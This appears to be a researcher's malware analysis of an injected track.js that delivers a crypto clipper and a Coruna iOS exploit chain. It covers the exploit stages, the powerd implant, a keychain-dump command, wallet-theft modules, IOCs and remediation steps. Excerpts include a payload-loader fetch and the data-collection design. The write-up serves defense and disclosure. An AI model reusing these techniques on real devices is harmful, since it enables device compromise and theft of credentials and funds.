Inside the injected track.js: clipboard clippers, keychain dumps and an undocumented iOS exploit chain
The exploit kit names its delivery stages after birds — cassowary, terrorbird, bluebird, jacurutu, seedbell. The naming is cosmetic, but the capability underneath is not: those stages collect the victim's iOS version, timezone, locale and — via the keychain dump — every credential stored on the device, staging it all on Google Cloud infrastructure.
This one came in by tweet, which is one of the two ways malware finds me. Scott Helme posted "This is staggering" on Sunday evening about a third-party JS host breach: 188 infected script files across sites "every person here will know and use", a crypto-clipper, and — the line that made me sit up — iOS exploits. Clipboard swap, keychain theft, DarkSword/Coruna exploit kit, all of it served from one compromised track.js.
Everyone covered the breach count and the blocklist. amirulcyber got a skimmer write-up out the same day and named it OptimJack. What nobody did was pull the actual files off the live infrastructure while it was still serving, decode them, and follow the chain all the way down to the wallet database.
So: 8 domains, 67 files, 13 exploit stages, 4 dylibs, one keychain dump and a 21-wallet hit list. Here is the full breakdown.
The blocklist, up front
1688360.cc
eil786npto9u5bq.icu
l7bcsnwc7nzr3uo.icu
q1ls1ho9x7wsxlu.icu
p55abnw2pnsz0bo.icu
1y69gy2mdzaltz1.icu
gm38duxoihbmy5o.icu
5vobauua3ojpklx.icu
34.87.36.58
34.96.213.201
136.113.106.136
The first seven are Scott's. The eighth — 5vobauua3ojpklx.icu — is only referenced inside the payload, so it never made any public list. It was also still resolving after every other host had gone dark or been cleaned, which made it the most operationally significant host of the window.
track.js sha256: f7b84b9a94f749f8ced3f0112d0a66894e8bbc3b4aa5592021d1b8976a9bad40
Getting the files while the lights are on
The victim host started cleaning almost immediately. By 21:52 UTC exactly one file was still infected. But the mirrors kept serving, so everything below was pulled from the live infrastructure before it went dark.
Two collection gotchas worth recording. First, http://1688360.cc/track.js returns an nginx 301 — the real payload lives on the mirrors. Second, the iframe lure path is /JIUJIU888/weifile.html, which you will only find by reading the chain page source. And a third: q1ls1ho9x7wsxlu.icu went NX while I was mid-download. A kit host, taken down live, while being read. More on that at the end.
The entry script
track.js, 29,882 bytes. The clipper part is the visible edge:
| Marker | Refs | Job |
|---|---|---|
| clipboard swap | 5 | rewrites copied wallet addresses before they leave the page |
| cookie exfil | 1 | Cookies.binarycookies-class data out |
| XHR / fetch / sendBeacon | 8/2/2 | beacon + exfil to the .icu infra |
It embeds one host missing from every public IOC list: 5vobauua3ojpklx.icu. Scott's six .icu domains are correct; add the seventh.
What's not in the entry script: the iOS exploit code, the card skimmer and the screenshot module from the disclosure thread. Those are a branch away.
The iOS exploit branch
For iPhone visitors, track.js fingerprints the device (iOS version, screen, locale, timezone, referrer — and document.title, because apparently they care what tab you had open) and branches into:
track.js
└─ boot.js (two mirrors, ~12.5 KB each)
└─ XOR key "d7K9mP2x" — hardcoded, in the clear,
right next to the decode function that uses it
└─ routes by iOS generation: /{A8|B9|C10|D11|D12}/{a,b}.html
└─ chain page
├─ Stage1_<version>_<bird>.js (WebKit exploit per iOS version)
├─ Stage2_*_seedbell (PAC bypass → kernel)
├─ Stage3_VariantA/B.js (sandbox escape → _corunaPrimitives)
├─ platform_module.js / utility_module.js
├─ payloads/manifest.json (22 device targets)
├─ payloads/{bootstrap,nb_daemon}.dylib (arm64 / arm64e PAC)
├─ payloads/native_bridge.js (Chinese-commented JS↔native bridge)
└─ payloads/post_exploit.js (the loot module — §the loot)
The XOR "obfuscation" deserves a mention: the key d7K9mP2x is hardcoded in the same file as the decode function that uses it. This is not meaningful obfuscation — the key sits in cleartext immediately beside the decoder that consumes it.
Also in boot.js, the __DAILI_CHAIN variable — daili, Chinese for proxy. Keep that detail, it comes back in the attribution section.
The chain pages then fetch the full stage tree from the same host: 13 JavaScript files (~630 KB), four dylibs (~350 KB), and per-device config blobs. Roughly a megabyte of exploit per victim, and the mirror serves it all with no authentication, no cloaking, no referer checks. Which is how I got all of it.
The bird table
Each chain page picks its exploit by iOS version:
| Stage file | iOS range | CVE | Role |
|---|---|---|---|
| Stage1 jacurutu | 15.2–15.5 | CVE-2022-48503 | Safari WebAssembly R/W |
| Stage1 bluebird | 15.6–16.1.2 | none | WebKit WebContent R/W |
| Stage1 terrorbird | 16.2–16.5.1 | CVE-2023-43000 | WebKit WebContent R/W |
| Stage1 cassowary | 16.6–17.2.1 | CVE-2024-23222 | WebKit WebContent R/W |
| Stage2 seedbell family | 16.3–17.2.1 | none | PAC bypass → kernel |
| Stage2 breezy/breezy15 | 13.0–16.2 | none | PAC bypass |
Three known WebKit CVEs — including 2024-23222, the January-2024 emergency patch — and five components with no public CVE anywhere: the bluebird WebKit exploit and the entire PAC-bypass family. The PAC modules got rebuilt per iOS version (breezy, breezy15, seedbell, seedbell_pre) — per-iOS-version rebuilds that indicate a maintained exploit supply, not a one-off build.
Zimperium's October write-up on this kit family covers 608 delivery domains and confirms the same chain structure. None of my eight domains appear in their indicator list — this deployment node hadn't been catalogued.
After the escape: powerd, /tmp and the keychain dump
The D11 chain page is the richest build (23,923 bytes): a 1×1 page, a monospace log div, and a loader that fetches its whole payload tree:
// D11 chain page, loader section
window.D11PE_CFG = { apiBase: d.api, visitorKey: d.vk,
channelCode: d.ch, deviceUuid: d.vk, auto: true };
fetch(root + "nb_daemon.dylib", {cache:"no-store"}).then(...)
That dylib — 86,672 bytes, Mach-O arm64e with PAC00 capabilities — gets written to /tmp/nb_daemon.dylib and dlopen'd. Its constructor starts a listener thread inside powerd, a system daemon that lives outside the Safari sandbox. The IPC design is two files and a lock:
Safari sandbox → /tmp/nb_cmd (commands)
powerd implant → /tmp/nb_result (JSON results)
→ /tmp/nb_lock
The bridge exposes the daemon to page JavaScript as nb_exec(cmd). Which means the malicious script in your browser tab gains arbitrary command execution on the device, routed through a system process. The bridge self-tests with getpid() and quietly degrades to "sandbox-only" if the ABI doesn't check out.
The 44-byte config blob that precedes injection is the clearest content-level IOC in the kit:
0fd0adde 00000000 8051 0100 d007 0000
01000000 01000000 02000000 24000000
07000000 706f 7765 7264 ← "powerd"
Magic 0xDEADD00F, ASCII target "powerd", sizes and flags. And the 11-build 0x0a module family is an anti-forensics wiper — it deletes WebContent crash logs, launchd logs and Safari records. The device erases its own exploitation artifacts.
The loot
post_exploit.js is 59,764 bytes of readable vanilla JavaScript — the loot module ships unobfuscated while everything around it is armored. Config: beacon every 15s, run capped 15 min, per-victim exfil budget 24 MB total / 4 MB per file, photo cap 2,500. The budget enforcement even logs politely:
log('upload budget spent, skip ' + filename)
Collection modules, function names verbatim:
| Module | Takes |
|---|---|
collectKeychain | security dump-keychain -d output + raw reads of keychain-2.db/-wal/-shm, system and mobile paths |
collectCookies | Cookies.binarycookies |
collectPasteboard | clipboard |
collectPhotos | Photos.sqlite + DCIM (cap 2,500) |
collectContainerFiles + walk | app-container sweep |
collectAppData | targeted app data |
collectWallets | the wallet hunt — next section |
The keychain files tell you what they want, and the 0x0f dylib family tells you how: Zimperium's module inventory lists it as "system-service setup", and the capability note says it checks execution context in keybagd, CloudKeychainProxy, GSSCred. The collection module runs inside the keychain daemons. That's mechanically why the dump works at all.
The wallet hunt
collectWallets walks every app container, reads each bundle ID and matches against a hardcoded database of 21 crypto wallet apps:
metamask trust coinbase imtoken phantom tokenpocket
alphawallet mathwallet tronlink onto bitpie huobi keplr
cosmostation uniswap okx bitget coin98 solflare exodus tonkeeper
Every match gets its full app container collected — not a balance check, the whole directory. Combine that with the keychain dump and the rootfs strings in the kernel module (mount_apfs, newfs_hfs, /private/var/MobileSoftwareUpdate/mnt1, /dev/disk0s1s1) and you have seed phrases, private keys and session tokens. The clipboard swap visible in the browser is the least of it; the container sweep is the objective.
Zimperium's tracking says the ecosystem ships 19 wallet modules, BitKeep being the 19th, wild-build only. Mine lists 21 app bundles. Close enough to know we're reading the same product line.
Whose kit is this
The kit self-identifies as Coruna. The sandbox-escape module exposes window._corunaPrimitives, and Zimperium's October write-up traces Coruna to an operator pool running ~608 delivery domains, with per-device PAC-aware arm64e builds and a Chinese-speaking developer. My capture matches: Chinese comments throughout native_bridge.js, __DAILI_CHAIN ("daili", proxy) in boot.js, and /usr/libexec/corelliumd hardcoded in two dylibs — the Corellium agent only exists on their virtual-device platform, which tells you exactly where this thing was built and tested.
Swap wallets baked into the entry script:
BTC 19g9rZcPeiz8rUvyWpTRyXXhPnjsWrc3kW
LTC ltc1q3wp7g6ds0ggg6fl6kncpa4sepn0q3qfacgred5
TRON THvs6p56XkUiMkJeSc51cAP64u2RsTYqxa
ETH 0xC4026b06D82b0F0B363eda0642D61CfbDc17884e
On-chain: the ETH wallet holds ~0.074 ETH, received 0.055274 ETH from 0x57F999155A… on Nov 16 17:28 UTC, took 0.0192 ETH on Nov 12 from 0x963737C5…, and runs daily 0-value self-transfers — address poisoning, seeding lookalike addresses into victim histories. Helme's thread verified ~$7k total across the four chains.
The wallet database matches Zimperium's tracked ecosystem (19 wallet modules, BitKeep wild-build only) with my capture listing 21 app bundles. Same product line, same build family, my node just wasn't in their domain set yet.
Operational details worth recording
- The obfuscation key
d7K9mP2xis stored in cleartext beside the decode function that consumes it — the first layer can be unwrapped statically by anyone with the file post_exploit.jsenforces a hard per-victim exfil cap (24 MB total, 4 MB per file) and logs every skipped upload — the operator rations bandwidth per device rather than exfiltrating everything at once- The victim host cleaned 187 of 188 files in under two hours of disclosure. One file remained infected past the sweep
- The iframe lure is staged in a directory named
JIUJIU888/ - The injection config carries the magic constant 0xDEADD00F followed by the ASCII target process name
If you visited one of the affected sites on an iPhone
The injected chain targeted iOS 15.2 through 17.2.1. If your device was on one of those versions and you loaded one of the affected sites while the injection was live, the practical steps are:
- Update iOS immediately. Every exploit stage in the kit targets vulnerabilities patched in current iOS releases. The 16.6–17.2.1 chain uses CVE-2024-23222, patched in the January 2024 emergency response; the 16.2–16.5.1 chain uses CVE-2023-43000. Current iOS is not vulnerable to any captured stage
- Treat every password saved in Safari or the iOS keychain as exposed. The kit's daemon executes
security dump-keychainwith root-level filesystem access. Rotate email first, then financial, then everything else. Email reset links are the recovery path for all the others - If you use any of the 21 targeted wallet apps, move funds to a wallet created on a clean device with a newly generated seed phrase. The kit's
collectWalletsmodule takes full app containers, not just balances - Assume clipboard-copied addresses were swapped. Any transaction initiated by pasting a wallet address since the injection window should be re-verified against the recipient's history on-chain
- Watch for lookalike-address poisoning. The swap wallet conducts daily 0-value transfers designed to seed attacker-controlled addresses into your transaction history autocomplete
- Signs of compromise on a jailbroken or modified device: files named
nb_cmd,nb_resultornb_daemon.dylibin/tmp, unknown dylibs loaded into the powerd process, and crash logs for WebContent mysteriously absent from/private/var/mobile/Library/Logs/CrashReporter
The affected-site list has not been published in full. GitLab is confirmed via third-party scan; the full victim inventory sits with the disclosure thread and the hosting provider's cleanup logs.
What I couldn't verify
- How the 3P host itself was breached — mechanism and date unknown; 188 files injected, self-cleaned
- Card skimmer and screenshot modules — cited in the disclosure, not present in the captured
track.js(likely conditional delivery from a desktop user-agent I never sent) - The 20,000-site figure floating in the thread — no source anywhere; Helme's verified count is 188 script files
- CVE mapping for the bluebird WebKit exploit and the four PAC bypass families — no public CVEs exist for any of them
- Which of the 608 tracked delivery domains corresponds to my mirrors — my eight are absent from the published indicator set
IOCs
| Type | Indicator |
|---|---|
| track.js sha256 | f7b84b9a94f749f8ced3f0112d0a66894e8bbc3b4aa5592021d1b8976a9bad40 |
| boot.js (eil mirror) sha256 | e410b6509f33defce16ad789… |
| boot.js (5vo mirror) sha256 | 74f7b2c010a00edc0da90b15… |
| nb_daemon.dylib sha256 | 301857c660ba4bff12274dac… |
| bootstrap.dylib sha256 | c391bce7b09a0ea2… |
| Domains | 1688360.cc, eil786npto9u5bq.icu, l7bcsnwc7nzr3uo.icu, q1ls1ho9x7wsxlu.icu, p55abnw2pnsz0bo.icu, 1y69gy2mdzaltz1.icu, gm38duxoihbmy5o.icu, 5vobauua3ojpklx.icu, ios-hack.icu, je4ft3gn8vxudum.icu |
| IPs | 136.113.106.136, 34.87.36.58, 34.96.213.201, 104.21.54.87 |
| ETH swap wallet | 0xC4026b06D82b0F0B363eda0642D61CfbDc17884e |
| ETH funders | 0x57F999155A518DfAFdA8C2c963b4203E443Cf091, 0x963737C550E70FFe4D59464542a28604eDb2eF9a |
| BTC swap wallet | 19g9rZcPeiz8rUvyWpTRyXXhPnjsWrc3kW |
| LTC swap wallet | ltc1q3wp7g6ds0ggg6fl6kncpa4sepn0q3qfacgred5 |
| TRON swap wallet | THvs6p56XkUiMkJeSc51cAP64u2RsTYqxa |
| Config magic | 0xDEADD00F |
| XOR key | d7K9mP2x |
Sources
- Scott Helme, thread of 2026-11-16: incident disclosure, infected-file count, capability summary, on-chain verification, cleanup tracking
- amirulcyber, "OptimJack — Optimizely skimmer" (2026-11-16): https://amirulcyber.com/2026/11/16/optimjack-optimizely-skimmer/
- urlscan.io, result 01a1e526-61a1-74f5-bc12-c7ec2762ef99: https://urlscan.io/result/01a1e526-61a1-74f5-bc12-c7ec2762ef99/
- Zimperium zLabs, "Inside Coruna and DarkSword chains" (2026-10-29): https://zimperium.com/blog/inside-coruna-and-darksword-chains-from-web-lures-to-ios-exploitation
- Zimperium IOC repository: https://github.com/Zimperium/IOC/tree/master/2026-10-CorunaDarkSword
- Censys, "DarkSword/Coruna open-directory finding report": https://censys.com/blog/darksword-coruna-open-directory-finding-report
- Google Threat Intelligence Group, iVerify, Lookout — DarkSword disclosure (2026-03-18): https://cloud.google.com/blog/topics/threat-intelligence/darksword-ios-exploit-chain
- Lookout, DarkSword analysis: https://www.lookout.com/threat-intelligence/article/darksword
- iVerify, "Malvertising delivers Coruna and DarkSword iPhone exploits": https://www.iverify.com/blog/malvertising-coruna-darksword-iphone-exploits
- Gurucul, "Coruna-like and DarkSword iOS exploit kit activity": https://gurucul.com/latest-threats/coruna-like-and-darksword-ios-exploit-kit-activity
- Cloud Security Alliance, research note on the DarkSword full chain: https://labs.cloudsecurityalliance.org/research/csa-research-note-darksword-ios-fullchain-zeroday-multiactor
- Coruna (exploit kit) background: https://en.wikipedia.org/wiki/Coruna_(exploit_kit)